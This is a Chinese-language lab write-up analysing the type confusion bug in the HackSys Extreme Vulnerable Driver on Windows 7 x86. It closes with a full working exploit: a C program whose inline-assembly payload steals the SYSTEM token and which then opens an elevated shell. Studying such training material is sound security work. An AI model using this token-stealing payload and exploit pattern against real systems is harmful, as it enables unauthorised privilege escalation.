漏洞分析丨HEVD-10.TypeConfusing[win7x86]

作者selph

前言

窥探Ring0漏洞世界：类型混淆

实验环境：

•虚拟机：Windows 7 x86

•物理机：Windows 10 x64

•软件：IDA，Windbg，VS2022

漏洞分析

老样子，先IDA分析漏洞函数TriggerTypeConfusion，然后再看看源码

首先是申请了8字节非分页池内存

 

然后接下来，把用户传入的8字节结构保存到了内核申请的8字节空间里，然后调用了一个初始化函数，程序就结束了

 

现在来看看这个初始化程序，打印后4字节的内容，然后调用后4字节的内容（回调函数）：

 

从反汇编的层面看到的是，这里传入的后4字节会被当成函数调用

接下来看看源码：

///

/// Trigger the Type Confusion Vulnerability
///

///The pointer to USER_TYPE_CONFUSION_OBJECT object
/// NTSTATUS
NTSTATUS
TriggerTypeConfusion(
In PUSER_TYPE_CONFUSION_OBJECT UserTypeConfusionObject
)
{
NTSTATUS Status = STATUS_UNSUCCESSFUL;
PKERNEL_TYPE_CONFUSION_OBJECT KernelTypeConfusionObject = NULL;

PAGED_CODE();

__try
{
   //
   // Verify if the buffer resides in user mode
   //
 
   ProbeForRead(
       UserTypeConfusionObject,
       sizeof(USER_TYPE_CONFUSION_OBJECT),
       (ULONG)__alignof(UCHAR)
   );
 
   //
   // Allocate Pool chunk
   //
 
   KernelTypeConfusionObject = (PKERNEL_TYPE_CONFUSION_OBJECT)ExAllocatePoolWithTag(
       NonPagedPool,
       sizeof(KERNEL_TYPE_CONFUSION_OBJECT),
       (ULONG)POOL_TAG
   );
 
   if (!KernelTypeConfusionObject)
    {
       //
       // Unable to allocate Pool chunk
       //
 
       DbgPrint("[-] Unable to allocate Pool chunk\n");
 
       Status = STATUS_NO_MEMORY;
       return Status;
    }
   else
    {
       DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
       DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
       DbgPrint("[+] Pool Size: 0x%zX\n", sizeof(KERNEL_TYPE_CONFUSION_OBJECT));
       DbgPrint("[+] Pool Chunk: 0x%p\n", KernelTypeConfusionObject);
    }
 
   DbgPrint("[+] UserTypeConfusionObject: 0x%p\n", UserTypeConfusionObject);
    DbgPrint("[+] KernelTypeConfusionObject: 0x%p\n", KernelTypeConfusionObject);
   DbgPrint("[+] KernelTypeConfusionObject Size: 0x%zX\n", sizeof(KERNEL_TYPE_CONFUSION_OBJECT));
 
   KernelTypeConfusionObject->ObjectID = UserTypeConfusionObject->ObjectID;
   KernelTypeConfusionObject->ObjectType = UserTypeConfusionObject->ObjectType;
 
   DbgPrint("[+] KernelTypeConfusionObject->ObjectID: 0x%p\n", KernelTypeConfusionObject->ObjectID);
   DbgPrint("[+] KernelTypeConfusionObject->ObjectType: 0x%p\n", KernelTypeConfusionObject->ObjectType);

#ifdef SECURE
//
// Secure Note: This is secure because the developer is properly setting ‘Callback’
// member of the ‘KERNEL_TYPE_CONFUSION_OBJECT’ structure before passing the pointer
// of ‘KernelTypeConfusionObject’ to ‘TypeConfusionObjectInitializer()’ function as
// parameter
//

   KernelTypeConfusionObject->Callback = &TypeConfusionObjectCallback;
   Status = TypeConfusionObjectInitializer(KernelTypeConfusionObject);

#else
DbgPrint(“[+] Triggering Type Confusion\n”);

   //
   // Vulnerability Note: This is a vanilla Type Confusion vulnerability due to improper
   // use of the 'UNION' construct. The developer has not set the 'Callback' member of
   // the 'KERNEL_TYPE_CONFUSION_OBJECT' structure before passing the pointer of
   // 'KernelTypeConfusionObject' to 'TypeConfusionObjectInitializer()' function as
   // parameter
   //
 
   Status = TypeConfusionObjectInitializer(KernelTypeConfusionObject);

#endif

   DbgPrint("[+] Freeing KernelTypeConfusionObject Object\n");
   DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
   DbgPrint("[+] Pool Chunk: 0x%p\n", KernelTypeConfusionObject);
 
   //
   // Free the allocated Pool chunk
   //
 
   ExFreePoolWithTag((PVOID)KernelTypeConfusionObject, (ULONG)POOL_TAG);
   KernelTypeConfusionObject = NULL;
}

__except (EXCEPTION_EXECUTE_HANDLER)
{
Status = GetExceptionCode();
DbgPrint(“[-] Exception Code: 0x%X\n”, Status);
}

return Status;
}

这里安全版本和非安全版本的区别在于是否初始化回调函数，然后再进入初始化函数

这里用的对象结构如下，可以看到，用户传入的是4字节的Type，而在内核结构里，后4字节是个联合体

typedef struct _USER_TYPE_CONFUSION_OBJECT
{
ULONG_PTR ObjectID;
ULONG_PTR ObjectType;
} USER_TYPE_CONFUSION_OBJECT, *PUSER_TYPE_CONFUSION_OBJECT;

typedef struct _KERNEL_TYPE_CONFUSION_OBJECT
{
ULONG_PTR ObjectID;
union
{
ULONG_PTR ObjectType;
FunctionPointer Callback;
};
} KERNEL_TYPE_CONFUSION_OBJECT, *PKERNEL_TYPE_CONFUSION_OBJECT;

最后进入初始化函数，就直接调用回调函数了：

///

/// Type Confusion Object Initializer
///
///The pointer to KERNEL_TYPE_CONFUSION_OBJECT object
/// NTSTATUS
NTSTATUS
TypeConfusionObjectInitializer(
In PKERNEL_TYPE_CONFUSION_OBJECT KernelTypeConfusionObject
)
{
NTSTATUS Status = STATUS_SUCCESS;

PAGED_CODE();

DbgPrint(“[+] KernelTypeConfusionObject->Callback: 0x%p\n”, KernelTypeConfusionObject->Callback);
DbgPrint(“[+] Calling Callback\n”);

KernelTypeConfusionObject->Callback();

DbgPrint(“[+] Kernel Type Confusion Object Initialized\n”);

return Status;

}

这里初始化函数没啥问题，主要在于进入初始化函数之前，对对象结构的操作，因为使用了联合体，如果没有初始化Callback，那么用户输入的ObjectType会被当成Callback去执行，这就是所谓的类型混淆。

漏洞利用

利用思路就很简单了，传入对象后四字节给定shellcode地址即可：

#include
#include

// Windows 7 SP1 x86 Offsets
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID

typedef struct _UserObject {
ULONG_PTR ObjectID;
ULONG_PTR ObjectType;
}UserObject,*PUserObject;

VOID TokenStealingPayloadWin7() {
// Importance of Kernel Recovery
__asm {
pushad

    ;获取当前进程EPROCESS
   xor eax, eax
   mov eax, fs: [eax + KTHREAD_OFFSET]
   mov eax, [eax + EPROCESS_OFFSET]
   mov ecx, eax
 
    ;搜索system进程EPROCESS
   mov edx, SYSTEM_PID
   SearchSystemPID :
   mov eax, [eax + FLINK_OFFSET]
       sub eax, FLINK_OFFSET
       cmp[eax + PID_OFFSET], edx
       jne SearchSystemPID
 
       ; token窃取
       mov edx, [eax + TOKEN_OFFSET]
       mov[ecx + TOKEN_OFFSET], edx
 
       ; 环境还原 + 返回
       popad
}

}

int main()
{
ULONG UserBufferSize = sizeof(UserObject);
PVOID EopPayload = &TokenStealingPayloadWin7;
HANDLE hDevice = ::CreateFileW(L"\\.\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr);
PUserObject UserBuffer = (PUserObject)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserBufferSize);

// 构造对象

UserBuffer->ObjectID = 0x12345678;
UserBuffer->ObjectType = (ULONG_PTR)EopPayload;

ULONG WriteRet = 0;

DeviceIoControl(hDevice, 0x222023, (LPVOID)UserBuffer, UserBufferSize, NULL, 0, &WriteRet, NULL);

HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer);
UserBuffer = NULL;

system(“pause”);
system(“cmd.exe”);

return 0;
}

截图演示

 

挖坑

CVE-2018-8174

参考资料

•[1] hacksysteam/HackSysExtremeVulnerableDriver: HackSys Extreme Vulnerable Windows Driver (github.com) GitHub - hacksysteam/HackSysExtremeVulnerableDriver: HackSys Extreme Vulnerable Windows Driver